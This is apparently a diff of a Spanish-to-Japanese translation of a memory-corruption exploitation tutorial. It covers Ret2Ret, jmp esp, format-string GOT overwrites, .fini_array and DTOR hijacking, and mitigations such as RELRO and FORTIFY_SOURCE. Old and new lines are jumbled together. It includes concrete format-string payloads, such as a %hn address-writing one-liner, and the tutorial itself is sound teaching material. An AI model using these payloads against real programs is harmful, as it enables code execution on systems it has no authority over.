||||
el 2ºEBP sería: 3ºEBP\_falso + \&system() + &(leave;ret;) + &”/bin/ls”
|
||||
|
||||
Esta shellcode se puede repetir indefinidamente en las partes de memoria a las que se tenga acceso de forma que se conseguirá una shellcode fácilmente divisible por pequeños trozos de memoria.
|
||||
|
||||
(Se encadena la ejecución de funciones mezclando las vulnerabilidades vistas anteriormente de EBP y de ret2lib)
|
||||
|
||||
## **5.Métodos complementarios**
|
||||
## **5.補足手法**
|
||||
|
||||
**Ret2Ret**
|
||||
|
||||
Útil para cuando no se puede meter una dirección del stack en el EIP (se comprueba que el EIP no contenga 0xbf) o cuando no se puede calcular la ubicación de la shellcode. Pero, la función vulnerable acepte un parámetro (la shellcode irá aquí).
|
||||
EIPにスタックのアドレスを入れることができない場合(EIPが0xbfを含まないことが確認されている場合)や、shellcodeの場所を計算できない場合に便利です。ただし、脆弱な関数が1つのパラメータを受け入れる場合(ここにshellcodeが配置されます)。
|
||||
|
||||
De esta forma, al cambiar el EIP por una dirección a un **ret**, se cargará la siguiente dirección (que es la dirección del primer argumento de la función). Es decir, se cargará la shellcode.
|
||||
したがって、EIPを**ret**のアドレスに変更すると、次のアドレス(関数の最初の引数のアドレス)がロードされます。つまり、shellcodeがロードされます。
|
||||
|
||||
El exploit quedaría: SHELLCODE + Relleno (hasta EIP) + **\&ret** (los siguientes bytes de la pila apuntan al inicio de la shellcode pues se mete en el stack la dirección al parámetro pasado)
|
||||
Exploitは次のようになります:SHELLCODE + パディング(EIPまで)+ **\&ret**(スタックに渡されたアドレスがshellcodeの開始を指すため、スタックの次のバイトがロードされます)
|
||||
|
||||
Al parecer funciones como **strncpy** una vez completas eliminan de la pila la dirección donde estaba guardada la shellcode imposibilitando esta técnica. Es decir, la dirección que pasan a la función como argumento (la que guarda la shellcode) es modificada por un 0x00 por lo que al llamar al segundo **ret** se encuentra con un 0x00 y el programa muere.
|
||||
```
|
||||
**Ret2PopRet**
|
||||
```
|
||||
**Muratのテクニック**
|
||||
|
||||
Linuxでは、すべてのプログラムは0xbfffffffからマップされます。
|
||||
Linuxでは、すべてのプログラムが0xbfffffffからマップされます。
|
||||
|
||||
Linuxの新しいプロセスのスタックがどのように構築されるかを見ると、プログラムがシェルコードだけの環境で起動されるようにエクスプロイトを開発できます。そのアドレスは次のように計算できます:addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
|
||||
Linuxの新しいプロセスのスタックがどのように構築されるかを見ると、プログラムがshellcodeのみの環境で起動されるようにExploitを開発できます。そのアドレスは次のように計算できます:addr = 0xbfffffff - 4 - strlen(NOMBRE\_ejecutable\_completo) - strlen(shellcode)
|
||||
|
||||
これにより、シェルコードが含まれる環境変数のアドレスを簡単に取得できます。
|
||||
これにより、shellcodeを含む環境変数のアドレスを簡単に取得できます。
|
||||
|
||||
これは、execle関数が望ましい環境変数のみを持つ環境を作成できるために可能です。
|
||||
これは、execle関数が望む環境変数のみを持つ環境を作成できるため可能です。
|
||||
|
||||
**ESPへのジャンプ:Windowsスタイル**
|
||||
|
||||
ESPが常にスタックの先頭を指しているため、このテクニックはEIPを**jmp esp**または**call esp**へのアドレスに置き換えることで構成されます。これにより、EIPの上書き後にshellcodeが保存され、**ret**を実行した後、ESPは次のアドレスを指すようになり、ちょうどshellcodeが保存されている場所になります。
|
||||
ESPが常にスタックの先頭を指しているため、この手法はEIPを**jmp esp**または**call esp**のアドレスに置き換えることで機能します。これにより、EIPの上書き後にshellcodeが保存され、**ret**を実行した後、ESPは次のアドレスを指すようになり、ちょうどshellcodeが保存されている場所になります。
|
||||
|
||||
WindowsまたはLinuxでASLRが有効でない場合、共有オブジェクトに保存された**jmp esp**または**call esp**を呼び出すことができます。ASLRが有効な場合、脆弱なプログラム内で検索することができます。
|
||||
WindowsまたはLinuxでASLRが無効になっている場合、共有オブジェクトに保存された**jmp esp**または**call esp**を呼び出すことができます。ASLRが有効な場合、脆弱なプログラム内で検索することができます。
|
||||
|
||||
さらに、EIPの破損後にshellcodeを配置できるため、関数の途中に配置するのではなく、スタックの中央に配置することで、関数内で実行されるpushやpop命令がshellcodeに影響を与えないようにすることができます。
|
||||
さらに、EIPの破損後にshellcodeを配置できるため、関数のスタックの中央に配置する代わりに、pushやpop命令がshellcodeに触れないようにすることができます。
|
||||
|
||||
同様に、関数がshellcodeが保存されているアドレスを返すことを知っている場合、**call eax**または**jmp eax (ret2eax)**を呼び出すことができます。
|
||||
同様に、関数がshellcodeが保存されているアドレスを返すことがわかっている場合、**call eax**または**jmp eax (ret2eax)**を呼び出すことができます。
|
||||
|
||||
**整数オーバーフロー**
|
||||
|
||||
この種のオーバーフローは、変数が渡される数値をサポートする準備ができていないときに発生します。符号付きと符号なしの変数の混乱による可能性があります。
|
||||
この種のオーバーフローは、変数が渡される数値をサポートする準備ができていない場合に発生します。符号付きと符号なしの変数の混乱による可能性があります。
|
||||
```c
|
||||
#include <stdion.h>
|
||||
#include <string.h>
|
||||
|
@ -276,89 +175,27 @@ printf("\nIntento de hack\n");
|
|||
return 0;
|
||||
}
|
||||
```
|
||||
**未初期化変数**
|
||||
前の例では、プログラムが2つのパラメータを期待していることがわかります。最初のパラメータは次の文字列の長さであり、2番目のパラメータは文字列です。
|
||||
|
||||
未初期化変数の取りうる値はわからず、それを観察することが興味深いかもしれません。前の関数の変数が取っていた値を取る可能性があり、攻撃者によって制御されるかもしれません。
|
||||
最初のパラメータに負の数を渡すと、len < 256 と表示され、そのフィルターを通過します。さらに、strlen(buffer) も l より小さくなります。なぜなら、l は unsigned int であり、非常に大きいからです。
|
||||
|
||||
## **フォーマット文字列**
|
||||
この種のオーバーフローは、プログラムのプロセスに何かを書き込むことを目指すのではなく、他の脆弱性を悪用するために設計されたフィルターを回避することを目的としています。
|
||||
|
||||
C言語では、**`printf`** は文字列を**出力**するために使用できる関数です。この関数が期待する**最初のパラメータ**は、**フォーマッターを含む生のテキスト**です。**次のパラメータ**は、生のテキストから**フォーマッターを置き換える値**です。
|
||||
**初期化されていない変数**
|
||||
|
||||
攻撃者のテキストがこの関数の最初の引数として入力されると、脆弱性が発生します。攻撃者は、**printfフォーマット文字列の機能を悪用**して、**任意のアドレスに任意のデータを書き込む**ことができます。これにより、**任意のコードを実行**することができます。
|
||||
初期化されていない変数が取る値はわからず、それを観察することが興味深いかもしれません。前の関数の変数が取っていた値を取る可能性があり、その変数が攻撃者によって制御される可能性があります。
|
||||
|
||||
フォーマッター:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
%u —> Unsigned
|
||||
%s —> String
|
||||
%n —> Number of written bytes
|
||||
%hn —> Occupies 2 bytes instead of 4
|
||||
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
||||
```
|
||||
**`%n`**は、指定されたアドレスに書き込まれたバイト数を表します。書き込む必要がある16進数のバイト数だけ書き込むことで、任意のデータを書き込むことができます。
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
### GOT (Global Offsets Table) / PLT (Procedure Linkage Table)
|
||||
##
|
||||
|
||||
これは、プログラムで使用される外部関数へのアドレスを含むテーブルです。
|
||||
###
|
||||
|
||||
このテーブルへのアドレスを取得するには、**`objdump -s -j .got ./exec`**を使用します。
|
||||
###
|
||||
|
||||
![](<../../.gitbook/assets/image (619).png>)
|
||||
###
|
||||
|
||||
GEFで実行可能ファイルを読み込んだ後、**GOT**に含まれる**関数**を確認できます: `gef➤ x/20x 0xDIR_GOT`
|
||||
### **.fini\_array**
|
||||
|
||||
![](<../../.gitbook/assets/image (620) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (5).png>)
|
||||
|
||||
GEFを使用してデバッグセッションを開始し、**`got`**を実行してgotテーブルを表示できます:
|
||||
|
||||
![](<../../.gitbook/assets/image (621).png>)
|
||||
|
||||
バイナリ内のGOTには、後で実行される関数のアドレスまたは関数アドレスをロードするPLTセクションへのアドレスが含まれています。このエクスプロイトの目標は、後で実行される関数のGOTエントリを、`system`関数のPLTのアドレスで上書きすることです。理想的には、制御可能なパラメータを使用して呼び出される関数のGOTを上書きします(つまり、システム関数に送信されるパラメータを制御できます)。
|
||||
|
||||
スクリプトで`system`が使用されていない場合、システム関数はGOTにエントリがありません。このシナリオでは、まず`system`関数のアドレスをリークする必要があります。
|
||||
|
||||
**Procedure Linkage Table**は、ELFファイル内の読み取り専用テーブルであり、解決が必要なすべてのシンボルを格納しています。これらの関数のいずれかが呼び出されると、GOTはPLTにフローをリダイレクトし、関数のアドレスを解決してGOTに書き込みます。\
|
||||
その後、そのアドレスに対して次に呼び出しが行われると、関数は解決する必要がなく直接呼び出されます。
|
||||
|
||||
PLTのアドレスは、**`objdump -j .plt -d ./vuln_binary`**で確認できます。
|
||||
|
||||
### Exploit Flow
|
||||
|
||||
前述のように、目標は後で呼び出される関数のGOTテーブル内のアドレスを上書きすることです。理想的には、実行可能セクションに配置されたシェルコードのアドレスを設定できますが、実行可能セクションにシェルコードを書き込むことはほとんど不可能です。\
|
||||
したがって、異なるオプションは、ユーザーから引数を受け取る関数を上書きし、それを`system`関数に指すことです。
|
||||
|
||||
アドレスを書き込むには、通常2つのステップが実行されます: **最初にアドレスの2バイトを書き込み**、その後残りの2バイトを書き込みます。これには**`$hn`**が使用されます。
|
||||
|
||||
**HOB**はアドレスの上位2バイトを指します\
|
||||
**LOB**はアドレスの下位2バイトを指します
|
||||
|
||||
したがって、フォーマット文字列の動作方法により、\[HOB、LOB]のうち**小さい方を最初に書き込み**、その後もう一方を書き込む必要があります。
|
||||
|
||||
HOB < LOBの場合\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
|
||||
HOB > LOBの場合\
|
||||
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
||||
|
||||
HOB LOB HOB\_shellcode-8 NºParam\_dir\_HOB LOB\_shell-HOB\_shell NºParam\_dir\_LOB
|
||||
|
||||
\`python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'\`
|
||||
|
||||
### Format String Exploit Template
|
||||
|
||||
GOTを使用してフォーマット文字列をエクスプロイトするための**テンプレート**は、こちらで見つけることができます:
|
||||
|
||||
{% content-ref url="format-strings-template.md" %}
|
||||
[format-strings-template.md](format-strings-template.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### .fini_array
|
||||
|
||||
基本的に、これはプログラムが終了する前に呼び出される**関数が含まれる構造体**です。これは、**アドレスにジャンプしてシェルコードを呼び出す**ことができる場合や、フォーマット文字列を2回目にエクスプロイトするために再びmainに戻る必要がある場合に興味深いです。
|
||||
基本的には、プログラムが終了する前に呼び出される**関数が含まれる構造**です。これは、**アドレスにジャンプして shellcode を呼び出す**ことができる場合や、フォーマット文字列を**2回目に悪用するために再び main に戻る**必要がある場合に興味深いです。
|
||||
```bash
|
||||
objdump -s -j .fini_array ./greeting
|
||||
|
||||
|
@ -369,12 +206,12 @@ Contents of section .fini_array:
|
|||
|
||||
#Put your address in 0x8049934
|
||||
```
|
||||
注意してください、これは**永久ループを作成しません**。なぜなら、mainに戻るとキャナリが気づき、スタックの末尾が破損して関数が再度呼び出されなくなるからです。そのため、これにより脆弱性の**1回の実行を追加**できます。
|
||||
注意:これは**永久ループ**を作成しません。なぜなら、mainに戻るとキャナリが検知し、スタックの末尾が破損している可能性があり、関数が再度呼び出されなくなるからです。したがって、これにより脆弱性の**1回の実行**が可能になります。
|
||||
|
||||
### **コンテンツをダンプするためのフォーマット文字列**
|
||||
|
||||
フォーマット文字列は、プログラムのメモリから**コンテンツをダンプ**するためにも悪用されることがあります。\
|
||||
たとえば、次の状況では、**フラグを指すスタック内のローカル変数**があります。**メモリ**のどこに**フラグへのポインタ**があるかを**見つける**と、**printf**がその**アドレス**に**アクセス**して**フラグ**を**表示**できます。
|
||||
たとえば、次の状況では、**フラグを指すスタック内のローカル変数**があります。**メモリ**のどこに**フラグへのポインタ**があるかを**見つける**と、**printf**がその**アドレス**にアクセスして**フラグ**を**表示**できます。
|
||||
|
||||
したがって、フラグは**0xffffcf4c**にあります
|
||||
|
||||
|
@ -388,7 +225,7 @@ Contents of section .fini_array:
|
|||
|
||||
![](<../../.gitbook/assets/image (624).png>)
|
||||
|
||||
**以前のエクスプロイト**に続いて**コンテンツをリーク**できることに気づいた場合、**`printf`**への**ポインタ**を**実行可能ファイルがロードされるセクション**に**設定**して、それを**完全にダンプ**することができます!
|
||||
**前の攻撃**に続いて**コンテンツを漏洩**できることに気付いた場合、**`printf`**へのポインタを**実行可能ファイルがロードされるセクション**に**設定**して、それを**完全にダンプ**することができます!
|
||||
|
||||
### **DTOR**
|
||||
|
||||
|
@ -403,294 +240,116 @@ Contents of section .fini_array:
|
|||
objdump -s -j .dtors /exec
|
||||
rabin -s /exec | grep “__DTOR”
|
||||
```
|
||||
通常、**DTOR** セクションは値 `ffffffff` と `00000000` の間にあります。したがって、これらの値だけを見ると、**関数が登録されていない**ことを意味します。そのため、**`00000000`** を **シェルコードのアドレス** で **上書き** して実行します。
|
||||
通常、**DTOR**セクションは値`ffffffff`と`00000000`の間にあります。そのため、これらの値だけを見ると、**登録された関数がない**ことを意味します。したがって、**`00000000`**を**シェルコードのアドレス**で**上書き**して、それを実行します。
|
||||
|
||||
### **フォーマット文字列を使用したバッファオーバーフロー**
|
||||
### **バッファオーバーフローへのフォーマット文字列**
|
||||
|
||||
**sprintf** はフォーマットされた文字列を変数に**移動**します。したがって、文字列の**フォーマット**を悪用して、コピーされるコンテンツが含まれる変数で**バッファオーバーフロー**を引き起こすことができます。\
|
||||
例えば、ペイロード `%.44xAAAA` は変数に **44B+"AAAA" を書き込み**、これによりバッファオーバーフローが発生する可能性があります。
|
||||
**sprintf**はフォーマットされた文字列を**変数に移動**します。したがって、文字列の**フォーマット**を悪用して、コピーされる変数で**バッファオーバーフロー**を引き起こすことができます。\
|
||||
例えば、ペイロード`%.44xAAAA`は、変数に44B+"AAAA"を**書き込む**ため、バッファオーバーフローを引き起こす可能性があります。
|
||||
|
||||
### **\_\_atexit 構造体**
|
||||
### **\_\_atexit構造体**
|
||||
|
||||
{% hint style="danger" %}
|
||||
現在、これを悪用するのは非常に**珍しい**です。
|
||||
現在はこれを**悪用するのは非常に珍しい**です。
|
||||
{% endhint %}
|
||||
|
||||
**`atexit()`** は、**他の関数がパラメータとして渡される関数**です。これらの**関数**は、**`exit()` の実行**または **main の戻り**時に**実行**されます。\
|
||||
たとえば、これらの**関数**の**アドレス**をシェルコードを指すように**変更**できれば、**プロセスを制御**できますが、現在はより複雑です。\
|
||||
現在、**実行される関数のアドレス**はいくつかの構造体の背後に隠されており、最終的に指すアドレスは関数のアドレスではなく、**XOR とランダムキーで暗号化**されています。そのため、現在、この攻撃ベクトルは **x86** および **x64\_86** では**あまり有用ではありません**。\
|
||||
**暗号化関数**は **`PTR_MANGLE`** です。 **m68k、mips32、mips64、aarch64、arm、hppa** などの**他のアーキテクチャ**は、**入力と同じものを返す**ため、このベクトルによって攻撃される可能性があります。
|
||||
**`atexit()`**は、**他の関数がパラメーターとして渡される**関数です。これらの**関数**は、**`exit()`の実行**または**mainの戻り**時に**実行**されます。\
|
||||
たとえば、これらの**関数**の**アドレス**をシェルコードを指すように**変更**できれば、**プロセスを制御**できますが、現在はこれがより複雑になっています。\
|
||||
現在、**実行される関数のアドレス**は、いくつかの構造体の背後に隠されており、最終的にそれが指すアドレスは関数のアドレスではなく、**XOR**と**ランダムキー**で暗号化されています。そのため、現在、この攻撃ベクトルは**x86**および**x64\_86**ではあまり有用ではありません。\
|
||||
**暗号化関数**は**`PTR_MANGLE`**です。 m68k、mips32、mips64、aarch64、arm、hppaなどの**他のアーキテクチャ**は、**入力と同じものを返す**ため、このベクトルによって攻撃される可能性があります。
|
||||
|
||||
### **setjmp() と longjmp()**
|
||||
### **setjmp() & longjmp()**
|
||||
|
||||
{% hint style="danger" %}
|
||||
現在、これを悪用するのは非常に**珍しい**です。
|
||||
現在はこれを**悪用するのは非常に珍しい**です。
|
||||
{% endhint %}
|
||||
|
||||
**`Setjmp()`** は、**コンテキスト(レジスタ)を保存**できます。\
|
||||
**`longjmp()`** は、**コンテキストを復元**できます。\
|
||||
保存されるレジスタは、`EBX、ESI、EDI、ESP、EIP、EBP` です。\
|
||||
問題は、EIP と ESP が **`PTR_MANGLE`** 関数によって渡されるため、この攻撃に対して脆弱なアーキテクチャは上記と同じです。\
|
||||
**`Setjmp()`**は、**コンテキスト(レジスタ)を保存**できます。\
|
||||
**`longjmp()`**は、**コンテキストを復元**できます。\
|
||||
保存されるレジスタは、`EBX、ESI、EDI、ESP、EIP、EBP`です。\
|
||||
問題は、EIPとESPが**`PTR_MANGLE`**関数によって渡されるため、この攻撃に対して脆弱なアーキテクチャは上記と同じです。\
|
||||
エラー回復や割り込みに役立ちます。\
|
||||
ただし、他のレジスタは保護されていないという情報もありますので、関数内で `call ebx`、`call esi`、`call edi` がある場合、制御を取得できます。また、ESP を変更して EBP を変更することもできます。
|
||||
ただし、他のレジスタは保護されていないという情報もありますので、関数内で`call ebx`、`call esi`、`call edi`がある場合、制御を取得できます。または、ESPを変更してEBPを変更することもできます。
|
||||
|
||||
**VTable と VPTR in C++**
|
||||
**VTableとVPTR in C++**
|
||||
|
||||
各クラスには、メソッドへの**ポインタの配列**である **Vtable** があります。
|
||||
各クラスには、メソッドへのポインタの配列である**Vtable**があります。
|
||||
|
||||
各クラスのオブジェクトには、そのクラスの配列への**ポインタ**である **VPtr** があります。 VPtr は各オブジェクトのヘッダーの一部です。したがって、VPtr の**上書き**が達成されると、実行される関数がシェルコードに移動するように**変更**できます。
|
||||
各**クラス**のオブジェクトには、そのクラスの配列への**ポインタ**である**VPtr**があります。 VPtrは各オブジェクトのヘッダーの一部です。したがって、VPtrを**上書き**すると、実行される関数がシェルコードに移動する可能性があります。
|
||||
|
||||
## **Preventive Measures and Evasions**
|
||||
## **予防措置と回避策**
|
||||
|
||||
**Return-into-printf**
|
||||
###
|
||||
|
||||
これは、バッファオーバーフローをフォーマット文字列エラーに変換する技術です。 EIP を printf 関数を指すように置き換え、操作されたフォーマット文字列を引数として渡すことで、プロセスの状態に関する値を取得できます。
|
||||
**Libsafeの置換**
|
||||
|
||||
**Library Attacks**
|
||||
|
||||
ライブラリは、16ビットのランダム性を持つ位置にあります = 65636 の可能なアドレスがあります。脆弱なサーバーが fork() を呼び出すと、メモリアドレス空間が子プロセスにコピーされ、そのままになります。したがって、libc の usleep() 関数に "16" を引数として渡す brute force を試みることができ、通常よりも長い応答時間がかかる場合、その関数が見つかります。その関数の場所がわかれば、delta\_mmap を取得し、他の値を計算できます。
|
||||
|
||||
ASLR が機能していることを確認する唯一の方法は、64ビットアーキテクチャを使用することです。そこでは、brute force 攻撃はありません。
|
||||
|
||||
### Relro
|
||||
|
||||
**Relro (Read only Relocation)** は、メモリの権限に NX と似た影響を与えます。違いは、NX ではスタックを実行可能にしますが、RELRO は**特定のものを読み取り専用**にして書き込むことができないようにします。これが障害となる一般的な方法は、後述する **`got` テーブルの上書き**を防ぐことです。`got` テーブルには、libc 関数のアドレスが格納されており、バイナリがアドレスを知っていてそれを呼び出すことができます。RELRO がある場合とない場合のバイナリの `got` テーブルエントリのメモリ権限を見てみましょう。
|
||||
|
||||
RELRO あり:
|
||||
```bash
|
||||
gef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /tmp/tryc
|
||||
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /tmp/tryc
|
||||
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /tmp/tryc
|
||||
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /tmp/tryc
|
||||
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /tmp/tryc
|
||||
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
gef➤ p fgets
|
||||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||||
gef➤ search-pattern 0x7ffff7e4d100
|
||||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||||
[+] In '/tmp/tryc'(0x555555557000-0x555555558000), permission=r--
|
||||
0x555555557fd0 - 0x555555557fe8 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||||
```
|
||||
Relro なし:
|
||||
```bash
|
||||
gef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-- /tmp/try
|
||||
0x0000000000401000 0x0000000000402000 0x0000000000001000 r-x /tmp/try
|
||||
0x0000000000402000 0x0000000000403000 0x0000000000002000 r-- /tmp/try
|
||||
0x0000000000403000 0x0000000000404000 0x0000000000002000 r-- /tmp/try
|
||||
0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /tmp/try
|
||||
0x0000000000405000 0x0000000000426000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7dcb000 0x00007ffff7df0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7df0000 0x00007ffff7f63000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7f63000 0x00007ffff7fac000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fac000 0x00007ffff7faf000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7faf000 0x00007ffff7fb2000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
||||
0x00007ffff7fb2000 0x00007ffff7fb8000 0x0000000000000000 rw-
|
||||
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
||||
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
||||
gef➤ p fgets
|
||||
$2 = {char *(char *, int, FILE *)} 0x7ffff7e4d100 <_IO_fgets>
|
||||
gef➤ search-pattern 0x7ffff7e4d100
|
||||
[+] Searching '\x00\xd1\xe4\xf7\xff\x7f' in memory
|
||||
[+] In '/tmp/try'(0x404000-0x405000), permission=rw-
|
||||
0x404018 - 0x404030 → "\x00\xd1\xe4\xf7\xff\x7f[...]"
|
||||
```
|
||||
バイナリ**relroなし**の場合、`fgets`の`got`エントリアドレスが`0x404018`であることがわかります。メモリマッピングを見ると、`0x404000`から`0x405000`の間にあることがわかります。これには**権限`rw`**があり、読み書きができます。バイナリ**relroあり**の場合、バイナリの実行時の`got`テーブルアドレス(pieが有効になっているため、このアドレスは変わります)は`0x555555557fd0`です。そのバイナリのメモリマッピングでは、`0x0000555555557000`から`0x0000555555558000`の間にあり、メモリ**権限`r`**があり、読み取りのみが可能です。
|
||||
|
||||
では、**バイパス**は何でしょうか?私が通常使用するバイパスは、relroによって読み取り専用になるメモリ領域に書き込まないようにし、**コード実行を取得する別の方法を見つける**ことです。
|
||||
|
||||
これが起こるためには、バイナリが実行前に関数のアドレスを知っている必要があります:
|
||||
|
||||
* 遅延バインディング:関数のアドレスは、関数が最初に呼び出されるときに検索されます。したがって、実行中にGOTに書き込み権限が必要です。
|
||||
* 今すぐバインド:関数のアドレスは実行の開始時に解決され、その後、.got、.dtors、.ctors、.dynamic、.jcrなどの重要なセクションに読み取り専用権限が与えられます。`` `**``-z relro`**`y`**`-z now\`\*\*
|
||||
|
||||
プログラムが今すぐバインドを使用しているかどうかを確認するには、次の操作を行います:
|
||||
```bash
|
||||
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
|
||||
```
|
||||
Cuando el binario es cargado en memoria y una función es llamada por primera vez se salta a la PLT (Procedure Linkage Table), de aquí se realiza un salto (jmp) a la GOT y descubre que esa entrada no ha sido resuelta (contiene una dirección siguiente de la PLT). Por lo que invoca al Runtime Linker o rtfd para que resuelva la dirección y la guarde en la GOT.
|
||||
|
||||
Cuando se llama a una función se llama a la PLT, esta tiene la dirección de la GOT donde se almacena la dirección de la función, por lo que redirige el flujo allí y así se llama a la función. Sin embargo, si es la primera vez que se llama a la función, lo que hay en la GOT es la siguiente instrucción de la PLT, por lo tanto el flujo sigue el código de la PLT (rtfd) y averigua la dirección de la función, la guarda en la GOT y la llama.
|
||||
|
||||
Al cargar un binario en memoria el compilador le ha dicho en qué offset tiene que situar datos que se deben de cargar cuando se corre el programa.
|
||||
|
||||
Lazy binding —> La dirección de la función se busca la primera vez que se invoca dicha función, por lo que la GOT tiene permisos de escritura para que cuando se busque, se guarde ahí y no haya que volver a buscarla.
|
||||
|
||||
Bind now —> Las direcciones de las funciones se buscan al cargar el programa y se cambian los permisos de las secciones .got, .dtors, .ctors, .dynamic, .jcr a solo lectura. **-z relro** y **-z now**
|
||||
|
||||
A pesar de esto, en general los programas no están complicados con esas opciones luego estos ataques siguen siendo posibles.
|
||||
|
||||
**readelf -l /proc/ID\_PROC/exe | grep BIND\_NOW** —> Para saber si usan el BIND NOW
|
||||
|
||||
**Fortify Source -D\_FORTIFY\_SOURCE=1 o =2**
|
||||
|
||||
Trata de identificar las funciones que copian de un sitio a otro de forma insegura y cambiar la función por una función segura.
|
||||
|
||||
Por ej:\
|
||||
char buf\[16];\
|
||||
strcpy(but, source);
|
||||
|
||||
La identifica como insegura y entonces cambia strcpy() por \_\_strcpy\_chk() utilizando el tamaño del buffer como tamaño máximo a copiar.
|
||||
|
||||
La diferencia entre **=1** o **=2** es que:
|
||||
|
||||
La segunda no permite que **%n** venga de una sección con permisos de escritura. Además el parámetro para acceso directo de argumentos solo puede ser usado si se usan los anteriores, es decir, solo se pueda usar **%3$d** si antes se ha usado **%2$d** y **%1$d**
|
||||
|
||||
Para mostrar el mensaje de error se usa el argv\[0], por lo que si se pone en el la dirección de otro sitio (como una variable global) el mensaje de error mostrará el contenido de dicha variable. Pag 191
|
||||
|
||||
**Reemplazo de Libsafe**
|
||||
|
||||
Se activa con: LD\_PRELOAD=/lib/libsafe.so.2\
|
||||
o\
|
||||
次で有効になります: LD\_PRELOAD=/lib/libsafe.so.2\
|
||||
または\
|
||||
“/lib/libsave.so.2” > /etc/ld.so.preload
|
||||
|
||||
